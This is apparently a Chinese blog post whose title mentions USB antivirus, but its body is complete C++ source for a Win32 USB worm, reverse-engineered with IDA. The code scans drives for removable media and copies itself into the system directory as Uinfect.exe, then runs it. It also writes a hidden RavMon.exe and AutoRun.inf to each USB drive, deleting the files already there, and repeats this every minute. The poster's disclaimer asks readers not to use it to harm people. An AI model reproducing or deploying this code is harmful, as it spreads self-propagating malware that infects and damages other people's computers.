c语言编写u盘杀毒软件,一个简单的C++编写的u盘病毒代码

该楼层疑似违规已被系统折叠 隐藏此楼查看此楼

一个简单的C++编写的u盘病毒代码

一个win32下能用的U盘病毒 研究原理可以 别编译拿去害人就行 (ring3的病毒貌似也害不了人) 前久用IDA逆向出来的 感兴趣的可以看看。。。#include#include BOOL UDevice(); void ResourceToFile(char *filename,char *Name,char* Type); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { UDevice(); return 0; } BOOL UDevice() { while(1) { char Name[256]="H:\\"; char szName[256]; char ToPath[256]; char infPath[256]; char OpenUDevice[79]; UINT retType; memset(szName, 0, 256); memset(ToPath, 0, 256); memset(infPath, 0, 256); memset(OpenUDevice, 0, 79); //do //{ //}while() //遍历盘符 unsigned char i = 0x42; for(; i < 0x5B; i += 0x1) { Name[0] = i; retType = GetDriveType(Name); //判断是否是可移动存储设备 if(retType == DRIVE_REMOVABLE) { //得到自身文件路径 GetModuleFileName(NULL, szName, 256); //比较是否和U盘的盘符相同 if(strncmp(Name, szName, 1) == 0) { //得到系统目录 GetSystemDirectory(ToPath, 256); strcat(ToPath,"\\Uinfect.exe"); //把自身文件复制到系统目录 if(CopyFile(szName, ToPath, TRUE)) { WinExec(ToPath, 0);//运行程序 } strcpy(OpenUDevice, "explorer "); strcat(OpenUDevice, Name); //打开U盘 WinExec(OpenUDevice,1); return 0; } else { strcpy(ToPath, Name); strcat(ToPath,"\\RavMon.exe"); strcpy(infPath,Name); strcat(infPath,"\\AutoRun.inf"); //还原U盘上的文件属性 SetFileAttributes(ToPath,FILE_ATTRIBUTE_NORMAL); SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL); //删除原有文件 DeleteFile(ToPath); DeleteFile(infPath); //释放AutoRun.inf到U盘 ResourceToFile(infPath, (char*)0x64, (char*)256); //拷贝自身文件到U盘 CopyFile(szName,ToPath,FALSE); //把这两个文件设置成系统,隐藏属性 //这里我查了MSDN 因为第二个参数的宏可能用了或位运算,所以推导宏定义有点麻烦 SetFileAttributes(ToPath, 0x6); SetFileAttributes(infPath, 0x6); } } } //一分钟检测一次U盘 Sleep(60000); } } void ResourceToFile(char *filename,char *Name,char* Type){ //寻找自身进程中的资源 HRSRC hRes = FindResource(NULL,Name,Type); if(hRes==NULL) return; //导入资源 HGLOBAL hgRes = LoadResource(NULL, hRes); if(hgRes==NULL) return; //锁定资源 void *pRes = LockResource(hgRes); if(pRes==NULL) return; //得到资源字节数 DWORD size = SizeofResource(NULL, hRes); if(size==0) return; //创建文件 HANDLE hFile = CreateFile(filename, 0x40000000, 0, 0, CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL, 0); if(hFile==INVALID_HANDLE_VALUE) return; DWORD dwWrite; //把资源写入到文件 if(!WriteFile(hFile, pRes, size, &dwWrite, 0)) return; //关闭文件句柄 CloseHandle(hFile); //释放资源 GlobalFree(hgRes);}

  • 2
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值